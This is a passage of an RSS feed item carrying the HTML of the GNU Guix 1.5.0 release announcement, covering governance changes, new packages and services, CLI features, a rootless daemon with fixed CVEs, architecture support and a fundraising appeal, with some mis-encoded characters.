&lt;a href="https://guix.gnu.org/blog/2025/migrating-to-codeberg/"&gt;migrated to
Codeberg&lt;/a&gt; and
started a &lt;a href="https://guix.gnu.org/blog/2025/fundraising-campaign-to-sustain-gnu-guix/"&gt;fundraising
campaign&lt;/a&gt;.
Thatâ€™s just the surface among so many great changes, so keep reading!&lt;/p&gt;&lt;p&gt;&lt;img alt="A rocket with the Guix logo flying into space with a round planet inthe background. Below is written Guix1.5" src="https://guix.gnu.org/static/blog/img/guix-ascenso-1.5.svg" /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Illustration by Luis Felipe, published under CC-BY-SAÂ 4.0.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This post provides highlights for all the hard work that went into
this release.  Thereâ€™s a lot to talk about so make yourself
comfortable, relax, and enjoy.&lt;/p&gt;&lt;h1&gt;Guix ecosystem&lt;/h1&gt;&lt;p&gt;To start with, the Guix ecosystem has seen many exciting developments
to the way we collaborate and make decisions!&lt;/p&gt;&lt;p&gt;Firstly, the project adopted with unanimity a &lt;a href="https://consensus.guix.gnu.org/gcd/001-gcd-process.html"&gt;new consensus-based
decision making
process&lt;/a&gt;.
This process fills a need to be able to gather consensus on
significant changes to the project, something that was getting very
complicated with the growing number of contributors to the project.&lt;/p&gt;&lt;p&gt;Now, the process provides a clear framework for any contributor to
propose and implement important changes. These can be submitted as
Guix Consensus Documents (GCDs), each GCD goes through the multiple
steps of &lt;a href="https://www.seedsforchange.org.uk/consensus"&gt;consensus decision
making&lt;/a&gt; before being
accepted or withdrawn.&lt;/p&gt;&lt;p&gt;Secondly, using this process, the project was able to collectively
&lt;a href="https://guix.gnu.org/blog/2025/migrating-to-codeberg/"&gt;migrate to
Codeberg&lt;/a&gt;.
This means that all repositories, and bug trackers are now at the same
place on Codeberg and that contributions are now made with pull
requests instead of patch series.&lt;/p&gt;&lt;p&gt;Thirdly, a &lt;a href="https://consensus.guix.gnu.org/gcd/005-regular-releases.html"&gt;new release
process&lt;/a&gt;
was adopted to bring an annual release cycle to Guix. This release is
the first to follow this process, with hopefully many others to come!&lt;/p&gt;&lt;p&gt;Lastly, &lt;a href="https://guix.gnu.org/blog/2025/planet-guix/"&gt;a â€œPlanetâ€� website for
Guix&lt;/a&gt; is now available
at &lt;a href="https://planet.guix.gnu.org"&gt;https://planet.guix.gnu.org&lt;/a&gt;.  It aggregates blogs from various
Guix hackers and contributors to bring you the latest and greatest in
Guix news.&lt;/p&gt;&lt;h1&gt;Stronger distribution&lt;/h1&gt;&lt;p&gt;Three years is a long time for free and open source software!  Enough
time for 12,525 new packages and 29,932 package updates to the Guix
repository.  Here are the best highlights:&lt;/p&gt;&lt;p&gt;To start, KDE Plasma 6.5 is now available with the new
&lt;code&gt;plasma-desktop-service-type&lt;/code&gt;!&lt;/p&gt;&lt;p&gt;&lt;img alt="Screenshot of KDE Plasma with a welcome window and the About thissystem tab of system settings open. The Guix and KDE logos arevisible, as well as Konqi." src="https://guix.gnu.org/static/blog/img/kde-plasma-on-guix.png" /&gt;&lt;/p&gt;&lt;p&gt;Continuing on desktops; GNOME has been updated from version 42 to 46
and now uses Wayland by default.  The &lt;code&gt;gnome-desktop-service-type&lt;/code&gt; was
made more modular to better customize the default set of GNOME
applications.&lt;/p&gt;&lt;p&gt;Guix System is now using &lt;a href="https://shepherding.services/news/2024/12/the-shepherd-1.0.0-released/"&gt;version 1.0 of the
GNUÂ Shepherd&lt;/a&gt;,
which now supports timed services, kexec reboot and has new services
for system logs and log rotation which are now used by Guix System
instead of Rottlog and syslogd.&lt;/p&gt;&lt;p&gt;There are around 40 &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Services.html"&gt;new system
services&lt;/a&gt;
to choose from, including &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Continuous-Integration.html#index-Forgejo_002c-continuous-integration"&gt;Forgejo
Runner&lt;/a&gt;,
&lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/High-Availability-Services.html"&gt;RabbitMQ&lt;/a&gt;,
&lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Networking-Setup.html#index-iwd_002c-iNet-Wireless-Daemon"&gt;iwd&lt;/a&gt;,
and
&lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Networking-Setup.html#index-DHCPCD_002c-networking-service"&gt;dhcpcd&lt;/a&gt;
to name a few.&lt;/p&gt;&lt;p&gt;&lt;code&gt;setuid-programs&lt;/code&gt; has been replaced with &lt;code&gt;privileged-programs&lt;/code&gt; in
operating-system definitions to support giving specific Linux
capabilities.  Additonally, the &lt;code&gt;nss-certs&lt;/code&gt; package is now included in
%base-packages.&lt;/p&gt;&lt;p&gt;More than 12,500 packages were added, keeping Guix in the top-ten
biggest distributions &lt;a href="https://repology.org/"&gt;according to Repology&lt;/a&gt;!
Among the many noteworthy updates, we now have GCCÂ 15.2.0, EmacsÂ 30.2,
Icecat and LibrewolfÂ 140, LLVMÂ 21.1.8 and Linux-libreÂ 6.17.12.&lt;/p&gt;&lt;h3&gt;Team activity&lt;/h3&gt;&lt;p&gt;In the last release, we introduced structured cooperation using
&lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Teams.html"&gt;teams&lt;/a&gt;.
There are now 50 teams distributing the many aspects of the
distribution.  We have per-language teams like &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;rust&lt;/code&gt; and
&lt;code&gt;zig&lt;/code&gt; ensuring updates for packages and build systems as well as
thematic teams like &lt;code&gt;electronics&lt;/code&gt;, &lt;code&gt;hpc&lt;/code&gt; and &lt;code&gt;bioinformatics&lt;/code&gt; working
on specific application domains. Here are what some of these teams
have been up to:&lt;/p&gt;&lt;p&gt;The HPC team &lt;a href="https://hpc.guix.info/blog/2025/02/guix-hpc-activity-report-2024/"&gt;published their annual activity report
2024&lt;/a&gt;,
showing the exciting developments of Guix in High-Performance
Computing.&lt;/p&gt;&lt;p&gt;The electronics team is maintaining free software based Electronic
Design Automation (EDA) packages to cover the needs of professionals
and hobbyists in the domain with tools such as KiCad, LibrePCB,
Xschem, Qucs-S and RingdoveÂ EDA, as well as Verilog, SystemVerilog and
VHDL compilers and a toolchain for programmable designs on GateMate
FPGAs.  They are also &lt;a href="https://social.tchncs.de/@gnu_slash_gabber/115939304313383738"&gt;collaborating with the Free Silicon Foundation
(F-Si)&lt;/a&gt;
to push free software in the EDA space!&lt;/p&gt;&lt;p&gt;The science team has been able to add a &lt;a href="https://mastodon.social/@sharlatan/115849447432639540"&gt;myriad of Astronomy related
packages&lt;/a&gt;,
accompanied by the Python team bringing the move to the new
pyproject.toml-based build system as well as the NumPyÂ 2 update.&lt;/p&gt;&lt;p&gt;Finally, the rust team created a &lt;a href="https://guix.gnu.org/blog/2025/a-new-rust-packaging-model/"&gt;new packaging
model&lt;/a&gt; to
efficiently package rust crates, and was able to migrate the Rust
collection, 150+ packages with 3,600+ libraries, in just under two
weeks; making the Rust packaging process much easier for everyone.&lt;/p&gt;&lt;h3&gt;Full source bootstraps&lt;/h3&gt;&lt;p&gt;Full-source bootstraps of the Zig and Mono compilers are now
available, and the existing bootstrap of Guix has been &lt;a href="https://guix.gnu.org/blog/2023/the-full-source-bootstrap-building-from-source-all-the-way-down/"&gt;reduced once
again&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;Full-source bootstraps are Guixâ€™s solution to the trusting trust
problem: compilers are usually compiled by themselves, so how can you
build a compiler without trusting an existing binary?  Read these
posts to learn more about this fascinating problem:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://guix.gnu.org/blog/2023/the-full-source-bootstrap-building-from-source-all-the-way-down/"&gt;The Full-Source Bootstrap: Building from source all the way down&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://m.jakstys.lt/2024/zig-reproduced-without-binaries/"&gt;Zig reproduced without binaries&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://ultrarare.space/posts/restoring-zig-bootstrap-chain-in-guix/"&gt;Restoring Zig bootstrap chain in Guix&lt;/a&gt; (in Traditional Chinese)&lt;/li&gt;&lt;li&gt;&lt;a href="https://guix.gnu.org/blog/2024/adding-a-fully-bootstrapped-mono/"&gt;Adding a fully bootstrapped Mono&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;Improved CLI&lt;/h1&gt;&lt;p&gt;The &lt;code&gt;guix graph&lt;/code&gt; command has new backends for GraphML and
CycloneDXÂ JSON, meaning Guix can now be used to &lt;a href="https://rollenspiel.social/@ArneBab/115804517431594685"&gt;generate complete
Software Bill of Material
(SBOM)&lt;/a&gt; down
to the first bootstrap binary!&lt;/p&gt;&lt;p&gt;&lt;code&gt;guix shell&lt;/code&gt; containers have been improved with a &lt;code&gt;--nesting&lt;/code&gt;
option to use Guix within the container and a &lt;code&gt;--emulate-fhs&lt;/code&gt; option
that can be used to &lt;a href="https://guix.gnu.org/blog/2023/the-filesystem-hierarchy-standard-comes-to-guix-containers/"&gt;run software expecting a Filesystem Hierarchy
Standard (FHS) compliant filesystem&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;guix pack&lt;/code&gt; command also received new backends to create RPM
packages and AppImages that can be used to &lt;a href="http://sam-d.com/blog/adding-appimage-support-to-the-guix-package-manager/"&gt;publish your Guix packages
to non-Guix
users&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Lastly, a new &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Invoking-guix-locate.html"&gt;&lt;code&gt;guix locate&lt;/code&gt;
command&lt;/a&gt;
is now available to find which packages provide a given file.&lt;/p&gt;&lt;h1&gt;Security improvements&lt;/h1&gt;&lt;p&gt;It is now possible to run the Guix daemon &lt;a href="https://hpc.guix.info/blog/2025/03/build-daemon-drops-its-privileges/"&gt;without root
privileges&lt;/a&gt;,
reducing the impact of privilege escalation vulnerabilities.&lt;/p&gt;&lt;p&gt;This â€œrootlessâ€� mode is now the default when installing Guix 1.5.0 on
distros other than Guix System; on Guix System, it currently has to be
explicitly enabled by &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Base-Services.html#index-guix_002dconfiguration"&gt;setting &lt;code&gt;(privileged? #f)&lt;/code&gt; in
&lt;code&gt;guix-configuration&lt;/code&gt;&lt;/a&gt;. Existing
installation on distros other than Guix System can also be &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Build-Environment-Setup.html#unprivileged_002ddaemon_002dmigration"&gt;migrated
to
â€œrootlessâ€�&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;This is possible thanks to the user namespaces. It might be possible
that on your system, the user namespaces are not allowed for guix due
to the lack of an AppArmor profile. Because of that, weâ€™ve also
&lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/AppArmor-Support.html"&gt;included AppArmor
profiles&lt;/a&gt;
that are installed by default on foreign systems.&lt;/p&gt;&lt;p&gt;Finally, the Guix daemon received security fixes for
&lt;a href="https://guix.gnu.org/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297/"&gt;CVE-2024-27297&lt;/a&gt;,
&lt;a href="https://guix.gnu.org/blog/2024/build-user-takeover-vulnerability/"&gt;CVE-2024-52867&lt;/a&gt;,
&lt;a href="https://guix.gnu.org/blog/2025/privilege-escalation-vulnerabilities-2025/"&gt;CVE-2025-46415&lt;/a&gt;,
&lt;a href="https://guix.gnu.org/blog/2025/privilege-escalation-vulnerabilities-2025/"&gt;CVE-2025-46416&lt;/a&gt;
and &lt;a href="https://guix.gnu.org/blog/2025/privilege-escalation-vulnerability-2025-2/"&gt;CVE-2025-59378&lt;/a&gt;.&lt;/p&gt;&lt;h1&gt;Widened architecture support&lt;/h1&gt;&lt;p&gt;Release tarballs are now available for the RISC-V 64-bit architecture
(riscv64-linux).&lt;/p&gt;&lt;p&gt;The x86_64 architecture saw some development as well, with the
experimental support of the GNUÂ Hurd kernel (x86_64-gnu), aiming to
be another significant step in the adoption and development of the
Hurd.  Overall support for the Hurd was greatly improved, it is now an
option in the installer, childhurds can be automatically created with
a system service and it can even &lt;a href="https://guix.gnu.org/blog/2024/hurd-on-thinkpad/"&gt;run on a Thinkpad
X60&lt;/a&gt;!&lt;/p&gt;&lt;h1&gt;Fundraising campaign&lt;/h1&gt;&lt;p&gt;Surprisingly, making a completely free software distribution does not
come for free!  The Guix project needs your help to pay the
infrastructure costs of build farms, web servers and QA tools that are
essential to making this release happen.&lt;/p&gt;&lt;p&gt;If you appreciate all of the work that is done to bring you this
one-of-a-kind distro: please &lt;a href="https://guix.gnu.org/donate/"&gt;donate to the Guix
Foundation&lt;/a&gt;!&lt;/p&gt;&lt;h1&gt;Acknowledgments&lt;/h1&gt;&lt;p&gt;For the release, thanks to all the release team members: Rutherther,
RodionÂ Goritskov, EfraimÂ Flashner, and NoÃ©Â Lopez. Thanks as well to
the release helpers: AndreasÂ Enge, Mothacehe, Dariqq and
LudovicÂ CourtÃ¨s.&lt;/p&gt;&lt;p&gt;For creating the release process, thanks to SteveÂ George.&lt;/p&gt;&lt;p&gt;For their Guix contributions, thanks to the 744 wonderful people who
contributed and whose names we donâ€™t list here (it would be &lt;a href="https://codeberg.org/guix/artwork/pulls/45#issuecomment-10088106"&gt;a bit
long&lt;/a&gt;).
They can be listed with &lt;code&gt;git log --oneline v1.4.0..v1.5.0 --format="%an" | sort -u&lt;/code&gt;.  Every commit counts and is always
appreciatedÂ ğŸ˜�&lt;/p&gt;&lt;h4&gt;About GNU Guix&lt;/h4&gt;&lt;p&gt;&lt;a href="https://guix.gnu.org"&gt;GNU Guix&lt;/a&gt; is a transactional package manager and
an advanced distribution of the GNU system that &lt;a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html"&gt;respects user
freedom&lt;/a&gt;.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, AArch64, RISC-V and POWER9 machines.&lt;/p&gt;&lt;p&gt;In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection.  When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management.  Guix is highly customizable
and hackable through &lt;a href="https://www.gnu.org/software/guile"&gt;Guile&lt;/a&gt;
programming interfaces and extensions to the
&lt;a href="http://schemers.org"&gt;Scheme&lt;/a&gt; language.&lt;/p&gt; </description> 
	<pubDate>Fri, 23 Jan 2026 14:00:00 +0000</pubDate>

</item> 
</channel>
</rss>